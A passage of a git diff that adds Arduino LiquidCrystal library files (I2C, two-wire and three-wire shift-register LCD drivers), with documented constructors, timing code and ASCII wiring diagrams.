+ @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + */ + LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(uint8_t); + + + uint8_t _Addr; // I2C Address of the IO expander + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + I2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + +}; + +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR.cpp b/libraries/LiquidCrystal/LiquidCrystal_SR.cpp new file mode 100644 index 0000000..67e6954 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR.cpp @@ -0,0 +1,209 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin is used for the enable signal by defining +// the same pin for Enable as for Data. Data and Clock outputs/pins goes to +// the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - Added delays for faster fio shiftout (it got too fast) +// AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32. +// Added code to support indicating two wire mode by using enable=data pin +// (documentation indicated this as working) +// Fixed incorrect use of 5x10 for default font - now matches original LQ library. +// can now eliminate enable pin in constructor for two wire mode. +// 2012.01.16 Florian Fida - faster digitalWrite/shiftOut +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduino +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR.h" + +#include "FastIO.h" + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, + uint8_t enable ) +{ + init ( srdata, srclock, enable, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, + uint8_t lines, uint8_t font) +{ + // Initialise private variables + _two_wire = 0; + + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataBit = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockBit = fio_pinToBit(srclock); + + if ((enable == TWO_WIRE) || (enable == srdata)) + { + _two_wire = 1; + _srEnableRegister = _srDataRegister; + _srEnableBit = _srDataBit; + } + else + { + _srEnableRegister = fio_pinToOutputRegister(enable); + _srEnableBit = fio_pinToBit(enable); + } + + // Configure control pins as outputs + // ------------------------------------------------------------------------ + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; +} + +// +// shiftIt +void LiquidCrystal_SR::shiftIt(uint8_t val) +{ + if (_two_wire) + { + // Clear to get Enable LOW + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit); + } + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST); + + // LCD ENABLE PULSE + // + // While this library is written with a shift register without an output + // latch in mind, it can work in 3-wire mode with a shiftregister with a + // latch. The shiftregister latch pin (STR, RCL or similar) is then + // connected to the LCD enable pin. The LCD is (very likely) slower + // to read the Enable pulse, and then reads the new contents of the SR. + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit); + waitUsec (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR::send(uint8_t value, uint8_t mode) +{ + // Divide byte in two nibbles include the RS signal + // and format it for shiftregister output wiring to the LCD + // We are only interested in my COMMAND or DATA for myMode + uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command. HIGH: character. + + if ( mode != FOUR_BITS ) + { + shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble + } + + shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble + /* + * Add some delay since this code is so fast it needs some added delay + * even on AVRs because the shiftout is shorter than the LCD command execution time. + */ +#if (F_CPU <= 16000000) + if(_two_wire) + delayMicroseconds ( 10 ); + else + delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + +// +// setBacklightPin +void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ } + +// +// setBacklight +void LiquidCrystal_SR::setBacklight ( uint8_t mode ) +{ } + diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR.h b/libraries/LiquidCrystal/LiquidCrystal_SR.h new file mode 100644 index 0000000..0d22022 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR.h @@ -0,0 +1,176 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin will be used for the enable signal. +// 2 wire mode can be indicated by: +// - ommitting the enable pin in constructor +// - defining the same pin for Enable as for Data in constructor +// - by using the token TWO_WIRE for the enable pin. +// +// Data and Clock outputs/pins goes to the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - can now eliminate enable pin in constructor for two wire mode. +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduiono +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR_ +#define _LIQUIDCRYSTAL_SR_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire indicator constant +// --------------------------------------------------------------------------- +#define TWO_WIRE 204 +#define SR_RS_BIT 0x04 +#define SR_EN_BIT 0x80 + +class LiquidCrystal_SR : public LCD +{ +public: + /*! + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD + */ + LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE ); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, + uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void shiftIt (uint8_t val); + + uint8_t _enable_pin; // Enable Pin + uint8_t _two_wire; // two wire mode + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataBit; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockBit; + fio_register _srEnableRegister; // Enable Pin + fio_bit _srEnableBit; + +}; + +#endif + diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR2W.cpp b/libraries/LiquidCrystal/LiquidCrystal_SR2W.cpp new file mode 100644 index 0000000..df4559a --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR2W.cpp @@ -0,0 +1,135 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR2W.cpp +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// +// See the corresponding SR2W header file for full details. +// +// History +// 2012.03.29 bperrybap - Fixed incorrect use of 5x10 for default font +// (now matches original LQ library) +// Fixed typo in SR2W mask define names +// changed default backlight state to on +// 2012.03.16 bperrybap - created/modified from SR sources to create SR2W +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// --------------------------------------------------------------------------- + +#include "LiquidCrystal_SR2W.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol) +{ + init ( srdata, srclock, blpol, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font) +{ + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataMask = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockMask = fio_pinToBit(srclock); + + _blPolarity = blpol; + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + backlight(); // set default backlight state to on +} + +// +// loadSR +void LiquidCrystal_SR2W::loadSR(uint8_t val) +{ + // Clear to keep Enable LOW while clocking in new bits + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask); + + + // clock out SR data byte + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST); + + + // strobe LCD enable which can now be toggled by the data line + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srDataRegister, _srDataMask); + waitUsec (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode) +{ + uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; + + myMode = myMode | SR2W_EN_MASK | _blMask; + + if ( mode != FOUR_BITS ) + { + loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble + } + + loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble + + /* + * Don't call waitUsec() + * do our own delay optmization since this code is so fast it needs some added delay + * even on slower AVRs. + */ +#if (F_CPU <= 16000000) + delayMicroseconds ( 10 ); // commands & data writes need > 37us to complete +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif +} + +// +// setBacklight +void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) +{ + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if ( ((_blPolarity == POSITIVE) && (value > 0)) || + ((_blPolarity == NEGATIVE ) && ( value == 0 )) ) + { + _blMask = SR2W_BL_MASK; + } + else + { + _blMask = 0; + } + + // send dummy data of blMask to set BL pin + // Note: loadSR() will strobe the data line trying to pulse EN + // but E will not strobe because the EN output bit is not set. + loadSR(_blMask); +} diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR2W.h b/libraries/LiquidCrystal/LiquidCrystal_SR2W.h new file mode 100644 index 0000000..2bccb87 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR2W.h @@ -0,0 +1,202 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// @file LiquidCrystal_SR2W.h +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is the 2 wire shift register interface class for the LCD library +// +// The functionality provided by this class and its base class is a superset of +// the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// See the LCD class for a full description of the API functions available. +// +// It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// 74LS164 and 74HC595 have been exstensively tested. +// +// +// 2 Pins required from the Arduino: +// - Data/Enable +// - Clock +// The Data pin is also used to control the enable signal +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// Shift register bits +// Bit #0 - (cannot be used on 74HC595) +// Bit #1 - optional backlight control +// Bit #2 - connects to RS (Register Select) on the LCD +// Bit #3 - connects to LCD data inputs D4 +// Bit #4 - connects to LCD data inputs D5 +// Bit #5 - connects to LCD data inputs D6 +// Bit #6 - connects to LCD data inputs D7 +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// Wiring for a 74LS164 +// --------------------- +// 1k/4.7k +// +--------[ Resistor ]--------+---(LCD Enable) +// | | +// | 74LS164 (VCC) | +// | +----u----+ | _V_ diode +// (data pin)---+---+--1-|A VCC|-14-+ | +// | | | | +// +--2-|B Q7|-13------+ +// 3-|Q0 Q6|-12--(LCD D7) +// (BL Circuit)--------4-|Q1 Q5|-11--(LCD D6) +// (LCD RS)------------5-|Q2 Q4|-10--(LCD D5) +// (LCD D4)------------6-|Q3 /MR|--9--(VCC) +// +-7-|GND CP|--8--(clock pin) +// | +---------+ +// | 0.1uf +// (gnd)-----||----(vcc) +// +// Wiring for a 74HC595 +// -------------------- +// NOTE: the 74HC595 is a latching shift register. In order to get it to operate +// in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this +// is that the latched output is one clock behind behind the internal shift register bits. +// To compensate for this the wiring is offset by one bit position lower. +// For example, while the backlight is hooked to Q0 it is still using bit 1 of +// of the shift register because the outputs are 1 clock behind the real internal shift +// register. +// +// 74HC595 (VCC) +// +----u----+ | +-----------------------(BL circuit) +// (LCD RS)------------1-|Q1 VCC|-16-+ | +--------------------(data pin) +// (LCD D4)------------2-|Q2 Q0|-15----+ | 1k/4.7k +// (LCD D5)------------3-|Q3 SER|-14-------+---[ Resistor ]--+--(LCD Enable) +// (LCD D6)------------4-|Q4 /OE|-13--(gnd) | +// (LCD D7)------------5-|Q5 RCLK|-12-------+ | +// | | | | +// +------6-|Q6 SCLK|-11-------+--(clock pin) | +// | 7-|Q7 /MR|-10--(VCC) | +// | +-8-|GND Q6'|--9 | +// | | +---------+ diode _V_ +// | | 0.1uf | +// | (gnd)-----||----(vcc) | +// +-----------------------------------------------+ +// +// +// Backlight Control circuit +// ------------------------- +// Because the shift resiter is not latching the outputs, the backlight circuitry +// will "see" the output bits as they are shifted into the shift register which +// can cause the backlight to flicker rather than remain constantly on/off. +// The circuit below slows down the transitions to the transistor to remove +// the visible flicker. When the BL input is HIGH the LCD backlight will turn on. +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(vcc) +// +// (LCD BL cathode)-------------------------------+ +// | +// D +// | +// (BL input)----[ 4.7k Resistor ]----+-------G-|-< (2N7000 FET) +// | | +// (0.1uf) = S +// | | +// (gnd) (gnd) +// +// +// +// +// History +// 2012.03.16 bperrybap - creation/adaption from SR header to create SR2W header. +// Fixed typo in SR2W mask define names +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// -------------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR2W_ +#define _LIQUIDCRYSTAL_SR2W_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire SR output bit constants +// --------------------------------------------------------------------------- + +#define SR2W_BL_MASK 0x02 +#define SR2W_RS_MASK 0x04 +#define SR2W_DATA_MASK 0x78 // data bits are hard coded to be SR bits 6,5,4,3 +#define SR2W_EN_MASK 0x80 // cannot ever be changed + +class LiquidCrystal_SR2W : public LCD +{ +public: + /*! + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) + */ + LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void loadSR (uint8_t val); + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataMask; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockMask; + + uint8_t _blPolarity; + uint8_t _blMask; +}; +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal_SR3W.cpp b/libraries/LiquidCrystal/LiquidCrystal_SR3W.cpp new file mode 100644 index 0000000..6144c06 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_SR3W.cpp @@ -0,0 +1,283 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SRG.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// History +// 2012.03.29 bperrybap - fixed constructors not properly using Rs +// Fixed incorrect use of 5x10 for default font +// - now matches original LQ library. +// moved delay to send() so it is per cmd/write vs shiftout() +// NOTE: delay is on hairy edge of working when FAST_MODE is on. +// because of waitUsec(). +// There is margin at 16Mhz AVR but might fail on 20Mhz AVRs. +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +// flags for backlight control +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR3W.h" + +#include "FastIO.h" + +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion No BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Enable + */ +#define EN 4 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Register select pin + */ +#define RS 6 // Register select bit + +/*! + 